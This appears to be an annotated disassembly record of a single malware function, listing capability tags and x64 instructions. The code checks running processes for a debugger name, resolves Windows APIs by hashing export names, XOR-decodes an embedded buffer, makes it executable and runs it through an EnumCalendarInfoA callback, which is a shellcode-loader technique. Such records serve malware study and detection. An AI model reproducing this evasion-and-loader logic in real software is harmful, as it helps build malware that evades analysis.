Function at 0x14000179c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
call fcn.140001588
xor edx, edx
mov dword [rbp - 0x78], 0x360078
xor r13d, r13d
mov dword [rbp - 0x74], 0x640034
mov dword [rbp - 0x70], 0x670062
mov dword [rbp - 0x6c], 0x65002e
lea ecx, [rdx + 2]
mov dword [rbp - 0x68], 0x650078
mov word [rbp - 0x64], r13w
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rbp - 0x5c]
mov r8d, 0x234
mov rbx, rax
call fcn.140003ae0
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x14000183e
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x34]
call fcn.140007f9c
test eax, eax
je 0x140001858
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001820
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400011dc
mov r14, rax
test rax, rax
jne 0x14000185f
xor eax, eax
jmp 0x140001ae7
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x140001ae2
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x140001ae2
mov ebx, dword [rax + r14 + 0x88]
add rbx, r14
je 0x140001ae2
call fcn.140001338
mov r9d, dword [rbx + 0x1c]
mov r15, r13
mov r10d, dword [rbx + 0x20]
add r9, r14
mov r11d, dword [rbx + 0x24]
add r10, r14
mov edi, dword [rbx + 0x18]
add r11, r14
movzx r8d, r13w
mov esi, 1
test edi, edi
je 0x140001917
movzx ecx, r8w
movzx eax, word [r11 + rcx*2]
mov edx, dword [r10 + rcx*4]
movabs rcx, 0x7734773477347734
add rdx, r14
mov ebx, dword [r9 + rax*4]
add rbx, r14
movzx eax, byte [rdx]
add rdx, rsi
test eax, eax
je 0x14000190b
imul rcx, rcx, 0x21
add rcx, rax
movzx eax, byte [rdx]
add rdx, rsi
test eax, eax
jne 0x1400018e9
movabs rax, 0x7e5c872c2386c38e
cmp rcx, rax
cmove r15, rbx
add r8w, si
movzx eax, r8w
cmp eax, edi
jb 0x1400018be
call fcn.1400012b8
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x64616f4c
mov rcx, r14
mov dword [rsp + 0x34], 0x7262694c
mov dword [rsp + 0x38], 0x41797261
mov byte [rsp + 0x3c], r13b
call r15
mov rdi, rax
mov dword [rsp + 0x40], 0x69746361
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x44], 0x73646576
mov dword [rsp + 0x48], 0x6c6c642e
mov word [rsp + 0x4c], r13w
call rdi
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x72657355
mov rbx, rax
mov dword [rsp + 0x24], 0x642e3233
mov word [rsp + 0x28], 0x6c6c
mov byte [rsp + 0x2a], r13b
call rdi
call fcn.1400012b8
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x6c616552
mov rcx, rbx
mov dword [rsp + 0x54], 0x41636f6c
mov dword [rsp + 0x58], 0x654d7344
mov word [rsp + 0x5c], 0x6d
mov byte [rsp + 0x5e], r13b
call r15
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x74726956
mov rcx, r14
mov dword [rsp + 0x64], 0x506c6175
mov rbx, rax
mov dword [rsp + 0x68], 0x65746f72
mov dword [rsp + 0x6c], 0x7463
call r15
lea rcx, [rbp + 0x228]
mov r12, rax
call fcn.140007a04
lea rcx, [rbp + 0x228]
call fcn.140007d70
call fcn.1400014d8
lea rdi, [0x140025c20]
mov r8d, r13d
mov rcx, rdi
xor byte [rcx], 0xfc
add r8d, esi
add rcx, rsi
cmp r8d, 0x380
jb 0x140001a21
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x6d756e45
mov rcx, r14
mov dword [rsp + 0x74], 0x656c6143
mov dword [rsp + 0x78], 0x7261646e
mov dword [rsp + 0x7c], 0x6f666e49
mov word [rbp - 0x80], 0x41
mov byte [rbp - 0x7e], r13b
call r15
mov r15d, 0x381
xor ecx, ecx
mov r8d, r15d
mov edx, r15d
mov r14, rax
call rbx
mov rbx, rax
call fcn.1400012b8
call fcn.14000151c
sub rdi, rbx
mov r8, rbx
mov r9d, r15d
mov cl, byte [rdi + r8]
mov byte [r8], cl
add r8, rsi
sub r9, rsi
jne 0x140001a91
xor ecx, ecx
call qword [sym.imp.USER32.dll_ClipCursor]
call fcn.1400012b8
lea r9, [rbp + 0x220]
mov r8d, 0x40
mov rdx, r15
mov rcx, rbx
call r12
cmp eax, esi
jne 0x140001858
mov r9d, esi
or r8d, 0xffffffff
mov edx, 0x800
mov rcx, rbx
call r14
jmp 0x140001858
mov eax, 1
mov rbx, qword [rsp + 0x330]
add rsp, 0x2e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret